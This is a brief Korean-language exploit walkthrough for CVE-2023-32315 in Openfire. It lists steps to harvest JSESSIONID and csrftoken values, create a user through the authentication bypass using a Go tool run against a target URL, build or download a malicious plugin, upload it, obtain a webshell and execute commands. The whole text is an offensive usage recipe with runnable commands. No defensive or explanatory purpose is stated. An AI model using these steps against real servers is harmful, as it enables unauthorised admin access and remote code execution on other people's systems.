CVE-2023-32315

0x01 반환된 JSESSIONID와 csrftoken 획득, 요청 패키지 구성하여 사용자 추가 (JSESSIONID, csrftoken 대체)

cd CVE-2023-32315-Openfire-Bypass/scan_all
go mod tidy
go run main.go -u http://openfire.com:9090

0x02 플러그인 컴파일 및 설치

mvn clean package

또는 릴리즈에서 플러그인 다운로드

0x03 플러그인 업로드

0x04 webshel 획득 0x05 명령 실행